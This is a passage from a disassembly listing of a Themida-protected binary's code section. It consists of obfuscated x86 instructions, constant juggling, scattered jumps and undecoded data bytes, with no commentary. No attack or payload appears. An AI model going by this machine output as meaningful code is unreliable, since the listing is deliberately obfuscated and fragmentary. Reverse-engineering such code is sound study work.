byte_5536D1	db 0ADh, 81h, 0ECh	; DATA XREF: Themida_:0055004Co
		dd 4, 81243C89h, 4ECh, 24348900h, 0FDC1E951h, 0E9580000h
		dd 0A5AAh, 0E924148Bh, 6EFBh
; ---------------------------------------------------------------------------

loc_5536F8:				; CODE XREF: Themida_:00555F38j
		add	edi, 650C44A0h
		push	eax
		jmp	loc_5648F9
; ---------------------------------------------------------------------------
		dd 4C7815Fh, 55000000h,	20D06853h, 0E95B4370h, 209Ah
; ---------------------------------------------------------------------------

loc_553718:				; CODE XREF: Themida_:0055AF3Fj
		push	47B5C69h
		mov	ebx, [esp]
		add	esp, 4
		and	ebx, 7D226D78h
		push	edi
		mov	edi, 70CB3854h
		xor	edi, 33F24DBBh
		xor	edi, 692953DDh
		or	ebx, edi
		mov	edi, [esp]
		jmp	loc_561751
; ---------------------------------------------------------------------------
		db 57h,	66h, 0BFh
		dd 0C166187Dh, 816603EFh, 0E9795DF7h, 1931h
; ---------------------------------------------------------------------------

loc_553758:				; CODE XREF: Themida_:00565473j
		mov	[esp], ebx
		jmp	loc_553380
; ---------------------------------------------------------------------------

loc_553760:				; CODE XREF: Themida_:00555958j
		push	edx
		mov	edx, 5B2C2FB6h
		mov	edi, edx
		pop	edx
		dec	edi
		add	edi, 0A5DF13EDh
		add	edx, edi
		pop	edi
		add	edi, edx
		pop	edx
		sub	edx, edi
		pop	edi
		jmp	loc_55FB87
; ---------------------------------------------------------------------------
		dw 48Bh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_558B05
; ---------------------------------------------------------------------------
		db 80h
		dd 0F800DDC7h, 83241C8Bh, 63E904C4h, 8000009Dh,	0D9F6FAE1h
		dd 805EE180h, 0B62C58C1h, 0C8282B04h, 0E4E92B2Ch, 68FFFFCFh
		dd 2DE1h, 83243C89h, 8F5404ECh,	4832404h, 0E95F0424h, 1A62h
; ---------------------------------------------------------------------------

loc_5537D0:				; CODE XREF: Themida_:005548D6j
		sub	dword ptr [esp], 4D833CA2h
		pop	ebp
		jmp	loc_552F52
; ---------------------------------------------------------------------------

loc_5537DD:				; CODE XREF: Themida_:00552416j
		shl	edx, 5
		jmp	loc_553A91
; ---------------------------------------------------------------------------
		db 5Dh,	0BDh, 0C9h
		dd 29AB92D0h, 6C8158C5h, 647A0824h, 6C0142F7h, 44810824h
		dd 647A0824h, 8CE942F7h
		db 0E6h, 2 dup(0FFh)
byte_553807	db 66h			; DATA XREF: Themida_:0054FFB4o
		dd 51240C8Bh, 0C181E189h, 4, 0E904E983h, 0FAC1h, 42474FFh
		dd 24048F5Bh, 2124248Bh, 0C0095AD0h, 0BE93840Fh, 0BB530000h
		dd 1Ch,	4EC81h,	86E90000h, 29000031h, 240C8BCFh, 4C481h
		dd 0AFE90000h, 81000023h, 4EBh,	241C3300h, 33241C31h, 248B241Ch
		dd 24248924h, 4240483h,	83241C8Bh, 0BE5604C4h, 4, 0CEE9F301h
		dd 800000C1h, 0FD8880F7h, 0E9241C8Bh, 0FFFFE127h
; ---------------------------------------------------------------------------

loc_55388C:				; CODE XREF: Themida_:0055507Ej
		sub	esi, 0FBBDE49Fh
		and	ebx, esi
		pop	esi
		add	ebx, 65BA4A73h
		mov	eax, ebx
		pop	ebx
		sub	edi, eax
		jmp	loc_55A3B3
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 4
		dd 0C8FEC8FEh, 45E9B404h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5538B3:				; CODE XREF: Themida_:0055C05Ej
		sub	edx, 4DF5F3A8h
		jmp	loc_555CF5
; ---------------------------------------------------------------------------
		dw 489h
aSg		db '$ég·',0
		align 2

loc_5538C6:				; CODE XREF: Themida_:00551A51j
		push	edi
		mov	edi, 1B845AAFh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 26682C41h
		neg	eax
		inc	eax
		dec	eax
		inc	eax
		shl	eax, 7
		jmp	loc_556E21
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 243C8700h, 0E67EE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5538F6:				; CODE XREF: Themida_:0055F292j
		push	esi
		mov	esi, 644B1FC5h
		and	esi, 3F4666F8h
		neg	esi
		or	esi, 6F505D06h
		push	edx
		jmp	loc_559A7D
; ---------------------------------------------------------------------------

loc_553910:				; CODE XREF: Themida_:005653E6j
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		sub	edx, 458B33ABh
		jmp	loc_550097
; ---------------------------------------------------------------------------

loc_55392F:				; CODE XREF: Themida_:0055A2B8j
		shl	ebx, 2
		jmp	loc_5566C9
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0C0E780D7h, 80FBE780h, 43E934C7h, 810000AAh,	2303D4EDh
		dd 56FBE94Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553952:				; CODE XREF: Themida_:0056249Bj
		add	esp, 4
		xchg	ecx, esi
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		xor	esi, 44C33BF6h
		sub	esi, 7FE946E3h
		mov	ebp, esi
		jmp	loc_556393
; ---------------------------------------------------------------------------
aYsZ		db 'YéÀz',0
		align 2
		dw 5352h
		dd 47334DBBh, 0A895E914h, 8E90000h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55398F:				; CODE XREF: Themida_:005606AAj
		sub	edx, 64E419D2h
		pop	esi
		add	edx, 0A6F13FCh
		add	edx, 51E37F0Ah
		sub	edx, 2C8241B2h
		add	edx, ebx
		add	edx, 2C8241B2h
		sub	edx, 51E37F0Ah
		jmp	loc_555F62
; ---------------------------------------------------------------------------
		db 5Bh
		dd 1E13E9h, 4EE8100h, 0E9000000h, 532Ah
; ---------------------------------------------------------------------------

loc_5539CC:				; CODE XREF: Themida_:005572CDj
		add	esi, 0E609A666h
		sub	esp, 4
		mov	[esp], esi
		pop	ebx
		pop	esi
		sub	ecx, ebx
		pop	ebx
		jmp	loc_55D54A
; ---------------------------------------------------------------------------

loc_5539E5:				; CODE XREF: Themida_:00551759j
		push	esi
		mov	esi, 20D1418Fh
		jmp	loc_55C26D
; ---------------------------------------------------------------------------

loc_5539F0:				; CODE XREF: Themida_:00554B2Ej
		pop	edx
		jmp	loc_56278F
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 4C681h, 34870000h, 0C5015C24h, 785BBE56h,	0EE813C97h
		dd 38FAFCAEh, 8B5EF529h, 0C4832404h, 3CA2E904h,	685A0000h
		dd 3180h, 19B7E9h
		db 0
; ---------------------------------------------------------------------------

loc_553A2D:				; CODE XREF: Themida_:00556703j
		push	1914h
		mov	[esp], ebx
		push	esi
		jmp	loc_5637D0
; ---------------------------------------------------------------------------

loc_553A3B:				; CODE XREF: Themida_:00562921j
		add	edi, 4
		push	ebx
		jmp	loc_565267
; ---------------------------------------------------------------------------
		db 81h
		dd 7A6972CFh, 96EE924h,	814A0001h, 0C10C1CC2h, 5AD03150h
		dd 0CE054048h, 483E2154h, 13557405h, 0D6D5E930h, 0D2F60000h
		dd 0FEC3F280h, 545CE9CAh, 3BE0000h, 68335F6Dh, 2FADh, 0BF243C89h
		dd 1DA25970h, 0FFD97CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553A91:				; CODE XREF: Themida_:005537E0j
		shr	edx, 3
		shl	edx, 2
		jmp	loc_558B2B
; ---------------------------------------------------------------------------
		dd 42Dh, 24048700h, 0D20EE9h, 24143300h, 10B73E9h, 2C815300h
		dd 8634DC24h, 0DE39E900h, 0E95FFFFFh, 16D5h, 4244C01h
		dd 24048F59h, 4BE56h, 74010000h, 0E95E0424h, 0FFFFC5BBh
		dd 0FA5BE95Fh, 5347FFFFh, 0BD03C1BBh, 1601E9F6h, 34FF0001h
		dd 0C4835F24h, 56D82904h, 10CE8E9h
		db 0
; ---------------------------------------------------------------------------

loc_553AFD:				; CODE XREF: Themida_:00555769j
		sub	esp, 4
		mov	[esp], esi
		push	edi
		push	edx
		mov	edx, 17283FAFh
		shl	edx, 6
		add	edx, 53617B11h
		jmp	loc_556F12
; ---------------------------------------------------------------------------
		dd 2C8A5A66h, 2C48324h,	0D3DAE9h, 0C5815800h, 60181E96h
		dd 0ED81D501h, 60181E96h, 6532BA52h, 0E2811A58h, 4DA94FE5h
		dd 0F2C2814Ah, 10DE8F7h, 5EE95AD5h
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_553B4F:				; CODE XREF: Themida_:00559B49j
		shr	esi, 7
		push	eax
		mov	eax, 286853A9h
		add	esi, eax
		pop	eax
		not	esi
		sub	esi, 7A969F41h
		jmp	loc_556EB9
; ---------------------------------------------------------------------------
		dd 50B8E180h, 0FFE9C5E9h, 0C9E952FFh, 81FFFFEAh, 4ECh
		dd 0F77CE900h, 0E0C1FFFFh, 0D92E906h, 0C1010001h, 1559E953h
		dd 74FF0000h, 5BE90424h
		db 37h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_553B9B:				; CODE XREF: Themida_:0056211Cj
		shl	ecx, 6
		jmp	loc_55450B
; ---------------------------------------------------------------------------
		db 31h
		dd 241C8BDDh, 104C483h,	242C8BEAh, 3304C483h, 14312414h
		dd 24143324h, 8524248Bh, 3DE99CC8h, 3100006Ah, 66E9F1h
		dd 0D6050000h, 14C9F36h, 36D62DD8h, 94E94C9Fh, 83FFFFCDh
		dd 2C3304C4h, 242C3124h, 0E9242C33h, 0BB09h
; ---------------------------------------------------------------------------

loc_553BF0:				; CODE XREF: Themida_:00553448j
		mov	bl, 2Ch
		jmp	loc_5641AD
; ---------------------------------------------------------------------------

loc_553BF7:				; CODE XREF: Themida_:00564000j
		push	edx
		mov	edx, 230B1BF6h
		sub	edx, 0CDA1A963h
		xor	esi, edx
		pop	edx
		add	ecx, esi
		pop	esi
		and	ebx, ecx
		jmp	loc_55A8CF
; ---------------------------------------------------------------------------

loc_553C10:				; CODE XREF: Themida_:00550932j
		add	esp, 4
		add	eax, edi
		push	dword ptr [eax]
		push	esi
		mov	esi, 35D169DDh
		add	[esp+4], esi
		pop	esi
		pop	ecx
		jmp	loc_55D846
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0E9241C87h, 56C4h, 81F1815Eh, 19B20BCh, 0F6E959CFh
		dd 89000021h, 4C681E6h,	83000000h, 76E904EEh, 81FFFFEFh
		dd 4C4h, 55D68700h, 0F859E954h,	0F3810000h, 6FFB53BAh
		dd 0D3F74B43h, 5668h, 242C8900h, 0FFFD05E9h, 0F6E581FFh
		dd 81741910h, 666BE2F5h, 1015E916h, 0E95B0001h,	0E9FBh
		dd 8B24048Fh, 4202424h,	0F8E99C24h, 0BAFFFFC3h,	4, 0D4E9D301h
		dd 810000FFh, 401ECDC9h, 291E962h, 34FF0000h, 0ADC2E924h
		dd 0E1890000h, 1053AE9h, 0EE815E00h, 1A745668h,	88A9E9h
		dd 0D7EBA00h, 540136F8h, 15A0824h, 0E904244Ch, 4093h, 770E981h
		dd 0C1812A8Dh, 30FC46DBh, 83242C8Bh, 0FF5104C4h, 0E9042474h
		dd 0B3ADh, 636ABA52h, 0D02952B8h, 0FF505F5Ah, 58042474h
		dd 5C24048Fh, 541D68h, 6E56E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553D1E:				; CODE XREF: Themida_:00562022j
		mov	ebx, eax
		jmp	loc_557752
; ---------------------------------------------------------------------------
aIYaTq		db 'ˆêY€ÂTQ±!',0
aY		db 'ËY',0
		dw 80D3h
		dd 805A21EBh, 0B60F66EBh, 52C0E9C0h, 0C5810000h, 79B816B6h
		dd 0C5FFE9h
		db 0
; ---------------------------------------------------------------------------

loc_553D4D:				; CODE XREF: Themida_:00555F97j
		sub	ecx, 13B4007Ch
		jmp	loc_55A455
; ---------------------------------------------------------------------------
aTlSay		db 'T‹,$éíY',0
		db 0
byte_553D61	db 0ADh, 5, 77h		; DATA XREF: Themida_:0054FDE0o
		dd 5143ED43h, 0C181E189h, 4, 0E904E983h, 85F0h,	4BE56h
		dd 0F5010000h, 242C875Eh, 4055Ch, 0A4680000h, 8900002Dh
		dd 4B9240Ch, 0E9000000h, 10B1Dh
; ---------------------------------------------------------------------------

loc_553D9C:				; CODE XREF: Themida_:00562456j
		and	ah, 59h
		push	ecx
		push	edx
		mov	dh, 52h
		mov	cl, dh
		pop	edx
		jmp	loc_55026E
; ---------------------------------------------------------------------------
aISn_		db 'ˆÁé­.',0
		align 2
		dw 48Fh
		dd 24248B24h, 240C8966h, 10BDDE9h
		db 0
; ---------------------------------------------------------------------------

loc_553DC1:				; CODE XREF: Themida_:00562DCBj
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 41CD709Bh
		jmp	loc_55CE99
; ---------------------------------------------------------------------------
		dd 0EA8DE950h, 895CFFFFh, 41E92414h, 5B0000C5h,	0F899E9h
		dd 24348900h, 0FFF56CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553DFD:				; CODE XREF: Themida_:00554E3Dj
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_564DDF
; ---------------------------------------------------------------------------

loc_553E18:				; CODE XREF: Themida_:005573CEj
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_555C0A
; ---------------------------------------------------------------------------

loc_553E26:				; CODE XREF: Themida_:005654F3j
		mov	esp, [esp]
		jmp	loc_55CEB9
; ---------------------------------------------------------------------------
		dw 5259h
		dd 4B951h, 0CA890000h, 6E53E9h,	0E9585900h, 941Dh
; ---------------------------------------------------------------------------

loc_553E44:				; CODE XREF: Themida_:00557195j
		pop	esi
		not	ecx
		add	ecx, 1
		or	ecx, 0E7D344Fh
		shl	ecx, 2
		sub	ecx, 7FD9560Ch
		jmp	loc_55FC45
; ---------------------------------------------------------------------------
		db 5, 0E5h, 51h
		dd 0E95B0DB6h, 0FE9Ch, 0E9243489h, 0B423h
; ---------------------------------------------------------------------------

loc_553E74:				; CODE XREF: Themida_:00563DC3j
		add	eax, ecx
		sub	eax, 1B05628Ch
		sub	eax, 72127037h
		jmp	loc_551595
; ---------------------------------------------------------------------------

loc_553E85:				; CODE XREF: Themida_:0055D945j
		push	edx
		push	esi
		mov	esi, 10FE584Eh
		mov	edx, esi
		pop	esi
		jmp	loc_5517A7
; ---------------------------------------------------------------------------

loc_553E94:				; CODE XREF: Themida_:0055FD3Ej
		sub	edx, 0F5102CBh
		pop	ebx
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_564DAA
; ---------------------------------------------------------------------------

loc_553EAB:				; CODE XREF: Themida_:00563E09j
		push	ecx
		push	66D5195Ch
		pop	ecx
		jmp	loc_55F67F
; ---------------------------------------------------------------------------

loc_553EB7:				; CODE XREF: Themida_:005561FBj
		push	ebx
		mov	ebx, 6D140EA0h
		not	ebx
		or	ebx, 2E0D3F46h
		push	edi
		push	ebp
		mov	ebp, 1D6A6819h
		add	ebp, 4DFF6360h
		jmp	loc_561D7D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 33F68104h, 835DFC2Dh, 5051FFEEh,	0FFE812E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_553EED:				; CODE XREF: Themida_:00560D94j
		add	edx, 6ED053D4h
		sub	edx, 0D9C0A1ACh
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shl	ecx, 7
		sub	ecx, 1445DE00h
		and	eax, ecx
		pop	ecx
		shr	eax, 18h
		xor	eax, ecx
		push	878h
		mov	[esp], eax
		jmp	loc_55DCAC
; ---------------------------------------------------------------------------
		dw 2C81h
		dd 210C9A24h, 39B3E91Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_553F2E:				; CODE XREF: Themida_:00555478j
		sub	ebx, 0B7653E52h
		sub	edx, 754D502Ah
		jmp	loc_555F52
; ---------------------------------------------------------------------------
aIsSd		db '‰é]鄜',0
		dw 6800h
		dd 0
		dd 59240C29h, 81D1F749h, 0CE2E16E1h, 0E36CE973h, 0F7010000h
		dd 4C7835Eh, 8B243C87h,	0D0892424h, 0E924148Bh,	8935h
; ---------------------------------------------------------------------------

loc_553F74:				; CODE XREF: Themida_:00553388j
		pop	ebx
		jmp	loc_55CED6
; ---------------------------------------------------------------------------
		dw 272Dh
		dd 8B516C1Eh, 0C483242Ch, 76586804h, 34890000h,	69C46824h
		dd 1C890000h, 2BB24h, 12E90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553F9F:				; CODE XREF: Themida_:00556C5Aj
		xchg	ebp, [esp]
		jmp	loc_55EE37
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CDE902EBh, 810000E8h, 210C9AC3h, 0E0E9E91Dh, 4DBBFFFFh
		dd 1758B30h, 5B04245Ch,	0CBE95059h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_553FCB:				; CODE XREF: Themida_:005611D8j
		sub	[esp], ecx
		mov	ecx, [esp]
		jmp	loc_55F279
; ---------------------------------------------------------------------------
word_553FD6	dw 0AD68h		; DATA XREF: Themida_:0054FDFCo
		dd 89000030h, 0EC83240Ch, 24148904h, 26D1E9h, 0E9534F00h
		dd 918Dh, 370DEE81h, 0F10130D8h, 5C27685Eh, 14890000h
		dd 5A6FBA24h, 0EA811716h, 5F5818D9h, 0EA834A42h, 28B850FFh
		dd 52139035h, 726EDCBAh, 5AD031A8h, 8358C231h, 148904ECh
		dd 0E95A5424h, 76BFh, 8BFAB85Dh, 0D8295BCFh, 556B0D5Bh
		dd 740D7D7Bh, 0D4C6261h, 7B2A4A01h, 22368h, 24148900h
		dd 0AE8ADABAh, 5AD001DDh, 5658C631h, 0C3BF57h, 0E9E93D37h
		dd 80000075h, 0D80057F3h, 0E9241C8Bh, 0D84Fh, 4BEh, 0A7DE900h
		dd 0F5680000h, 89000035h, 0E953243Ch, 0FFFFD15Fh, 4281E281h
		dd 0EA816892h, 2000007Fh, 48C9E9h, 9ABD5E00h, 315FA438h
		dd 0E9575FFDh, 26A7h, 58C2015Ch, 8904EC83h, 0AEE92414h
		dd 0BD0000A2h, 4, 0E2E9EB01h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5540C7:				; CODE XREF: Themida_:00550185j
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_561521
; ---------------------------------------------------------------------------

loc_5540E1:				; CODE XREF: Themida_:005548AAj
		push	ecx
		mov	ecx, 42D46ACEh
		not	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 9914A5FBh
		jmp	loc_55045F
; ---------------------------------------------------------------------------

loc_5540F9:				; CODE XREF: Themida_:005533C2j
		pop	ebp
		sub	ebp, 3F417245h
		not	ebp
		xor	ebp, 749D51B2h
		add	ebp, 966B7928h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_55FD31
; ---------------------------------------------------------------------------

loc_554116:				; CODE XREF: Themida_:00564337j
		or	eax, 5E6451AFh
		dec	eax
		and	eax, 2E14530Bh
		jmp	loc_55CE87
; ---------------------------------------------------------------------------
		dw 8958h
		dd 0CF07E9F7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55412E:				; CODE XREF: Themida_:00557E35j
		add	[esp+4], edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 36A60C20h
		add	eax, 1
		jmp	loc_55F068
; ---------------------------------------------------------------------------

loc_554147:				; CODE XREF: Themida_:0055A5BBj
		xor	esi, ebp
		pop	ebp
		add	edi, esi
		pop	esi
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55C618
; ---------------------------------------------------------------------------
		dd 5066FD00h, 7DD8E952h, 8B540000h, 0C4832414h,	50515304h
		dd 5541E9h, 1AEABF00h, 0C7833C6Dh, 0B0E9E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_554182:				; CODE XREF: Themida_:00561956j
		not	ebp
		neg	ebp
		inc	ebp
		jmp	loc_55CD11
; ---------------------------------------------------------------------------
		dd 0FA83E95Eh
		db 2 dup(0)
word_554192	dw 34FFh		; DATA XREF: Themida_:0054FDF8o
		dd 1D685924h, 8900004Fh, 0E6892434h, 0E904EC83h, 844Dh
		dd 3EBDF781h, 0D1E90067h, 5B000022h, 0FFED11E9h, 240431FFh
		dd 8B240433h, 88E92424h, 55000049h, 0B8F8BEBDh,	5DEE29B2h
		dd 45F5E950h, 34FF0000h, 6F25E924h, 1C890000h, 2474FF24h
		dd 2434FF04h, 65E9535Bh, 510000C7h, 10037E9h, 0C9E95800h
		dd 830000C8h, 2C8904ECh, 2474FF24h, 48F5D04h, 0CA3BE924h
		dd 0C381FFFFh, 4, 8704C383h, 0ACE9241Ch, 5A0000E6h, 5C243487h
		dd 4EC81h, 0B7E90000h, 5500006Ah, 651E8568h, 661CE96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55423A:				; CODE XREF: Themida_:00558FADj
		mov	[esp], ecx
		mov	cl, 0E9h
		push	edx
		mov	dh, 35h
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 2
		or	dh, bh
		pop	ebx
		add	dh, 36h
		dec	dh
		not	dh
		xor	dh, 0A0h
		xor	cl, dh
		jmp	loc_5617B3
; ---------------------------------------------------------------------------
		db 68h,	29h, 13h
		dd 1C890000h, 3EFAE924h, 89510000h, 293FE9E1h, 0E0890000h
		dd 0FFC448E9h, 0E9D029FFh, 10FB4h, 83240489h, 3C8904ECh
		dd 1EE0BF24h, 0EFC146E0h, 2CF78107h, 81777106h,	7F068BF7h
		dd 0C17FE96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5542A6:				; CODE XREF: Themida_:0055872Aj
		sub	eax, esi
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55314F
; ---------------------------------------------------------------------------

loc_5542BB:				; CODE XREF: Themida_:00563457j
		add	ebp, 4
		push	ecx
		mov	ecx, 8B30A60h
		shl	ecx, 6
		shl	ecx, 6
		sub	ecx, 3D7109FBh
		not	ecx
		sub	ecx, 0CCB09F6h
		sub	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		jmp	loc_5645EA
; ---------------------------------------------------------------------------

loc_5542E6:				; CODE XREF: Themida_:0055C43Fj
		mov	[esp], esp
		jmp	loc_556622
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 34731E24h, 0ED81D5F7h, 29F56677h, 7B60ED81h,	14E9A197h
		dd 0C100008Bh, 0BA5205E7h, 3B354DBh, 815AD729h,	93ADA6C7h
		dd 9AC381BAh, 8118AD4Ch, 0E30622C3h, 809E90Fh, 0E95A0000h
		dd 0D104h, 5559CD01h, 42474FFh,	0DD44E9h, 4B800h, 0EF810000h
		dd 5FD41D52h, 0C781C701h, 5FD41D52h, 243C8758h,	24FBE9h
		dd 4C18100h, 83000000h,	0C3304C1h, 240C3124h, 0E9240C33h
		dd 8097h
; ---------------------------------------------------------------------------

loc_554370:				; CODE XREF: Themida_:0055DBBEj
		pop	edi
		jmp	loc_55242B
; ---------------------------------------------------------------------------
		dw 0ECB9h
		dd 1099825h, 76E959CEh,	290000F2h, 0F2895DEEh, 5624348Bh
		dd 0F248E9h, 40500h, 8AE90000h,	5300001Dh, 4BBh, 5BDA2900h
		dd 5C241487h, 89243C89h, 4C781E7h, 83000000h, 0CFE904EFh
		dd 2Eh,	53B551E7h, 0F751E9h, 4A056800h,	3C8B33BFh, 0E1895124h
		dd 0E61CE9h, 0F8015F00h, 0E4765405h, 243C8B27h,	4C481h
		dd 0BE90000h, 5A000079h, 4C281h, 0A4E90000h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5543F7:				; CODE XREF: Themida_:00552A01j
		not	ebp
		neg	ebp
		jmp	loc_559525
; ---------------------------------------------------------------------------
		dd 61E9DFB1h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554407:				; CODE XREF: Themida_:0055935Fj
		mov	[esp], ebx
		mov	ebx, 23239B41h
		mov	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_555CBB
; ---------------------------------------------------------------------------
aWt_rQBs_i	db '[WT_RºQ\ÜBé.©',0
		dw 8F00h
		dd 0B3E92404h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_554433:				; CODE XREF: Themida_:00555004j
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		mov	ebp, ecx
		pop	ecx
		sub	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56250E
; ---------------------------------------------------------------------------
		db 1, 0CDh, 59h
		dd 4C581h, 0CAE90000h, 0BF0000D6h, 0D497184h, 0F701C783h
		dd 7E78E9D7h, 412D0000h, 5F5C6171h, 4005E801h, 0E965D001h
		dd 8FF4h, 0E902E5C1h, 261Dh, 0E9242489h, 79C2h,	7783E981h
		dd 5B515549h, 0D2D8E959h, 31FF0000h, 240C8B58h,	4C481h
		dd 0EA810000h, 7DEE098Bh, 0DB05E9h, 243C8B00h, 0F7A0E951h
		dd 0EE810000h, 194870F7h, 5BE9CE01h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5544CF:				; CODE XREF: Themida_:0055CD6Aj
		push	ecx
		mov	ecx, 3846125Dh
		mov	edx, ecx
		pop	ecx
		mov	eax, 60F52031h
		add	eax, 5D470A9Fh
		sub	eax, edx
		sub	eax, 5D470A9Fh
		pop	edx
		push	ebx
		mov	ebx, 72D87BDBh
		jmp	loc_550A0C
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4EA8100h, 87000000h, 0D5E92414h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55450B:				; CODE XREF: Themida_:00553B9Ej
		shr	ecx, 7
		jmp	loc_55B21F
; ---------------------------------------------------------------------------

loc_554513:				; CODE XREF: Themida_:00555DDBj
		mov	[esp], ecx
		mov	ch, dl
		mov	bh, ch
		jmp	loc_55E5B3
; ---------------------------------------------------------------------------
		db 0FFh
		dd 59042474h, 0C511E9h
		db 0
; ---------------------------------------------------------------------------

loc_554529:				; CODE XREF: Themida_:0055B91Ej
		pop	edi
		add	edx, 4
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55A362
; ---------------------------------------------------------------------------
		dw 8966h
		dd 66B1240Ch, 4EC8151h,	0E9000000h, 0FFFFDB91h,	6FC28159h
		dd 0E948CB4Fh, 4B38h, 68242C89h, 3FA0h,	0BE243489h, 42F46AD6h
		dd 20C1EE81h, 81562465h, 235A242Ch, 0E95D66BBh,	1136h
		dd 4C481h, 0FEE90000h, 81000041h, 4E030EEAh, 7FEA8116h
		dd 811BE77Fh, 5873B1C2h, 5AD6010Fh, 83240C8Bh, 0EE904C4h
		dd 81000013h, 2EFh, 243C3300h, 33243C31h, 77E9243Ch, 0C1FFFFDDh
		dd 79E907EBh
		db 0Ah,	1, 0
byte_5545CF	db 66h			; DATA XREF: Themida_:0054FDD4o
		dd 0C02D66ADh, 3605663Eh, 0BD66550Fh, 0C166305Ah, 0C16603E5h
		dd 0D16605E5h, 4D8BE9E5h, 0C2810000h, 4, 8704EA83h, 895C2414h
		dd 8B54241Ch, 0C481241Ch, 4, 5E90E9h, 0FE895600h, 8B5EF389h
		dd 0C483243Ch, 5BD83104h, 2958C689h, 0C3815EF3h, 76B46EF5h
		dd 0EB81C301h, 76B46EF5h, 6D38BF57h, 0E3E93A87h, 5C00006Eh
		dd 0E9240C89h, 0FFFFBA53h, 0EEEEBF57h, 0BEE98CCEh, 81FFFFFFh
		dd 8F45CFC3h, 80B0E96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_55465A:				; CODE XREF: Themida_:0055DFFEj
		pop	ebx
		push	eax
		mov	eax, 4AAC1B3Bh
		sub	edx, eax
		jmp	loc_559A29
; ---------------------------------------------------------------------------

loc_554668:				; CODE XREF: Themida_:00564FA5j
		push	76744F00h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_565227
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5C24048Fh, 28EAEB80h, 4AB450C3h, 0B116E9h
		db 0
byte_55468D	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550004o
		dd 592434FFh, 0E852E955h, 0B850FFFFh, 7D6E536Dh, 0FFDA34E9h
		dd 664804FFh, 83240C8Bh, 29E902C4h, 89000012h, 0AB68242Ch
		dd 8900004Ch, 71B82404h, 0C11D5800h, 54802E8h, 156D4289h
		dd 7463060Dh, 9B22D65h,	0D668267Dh, 89000020h, 62BE2434h
		dd 0E97ADD38h, 6904h, 4EC81h, 14890000h, 2E20E924h, 3C330000h
		dd 243C3124h, 5C243C33h, 9C240CD2h, 0FFB98EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_554709:				; CODE XREF: Themida_:00563003j
		sub	ecx, ebx
		add	ecx, 7AB05405h
		jmp	loc_560A6A
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 287DF0h, 5DB0C681h, 0DE013A68h, 5DB0EE81h, 0C6813A68h
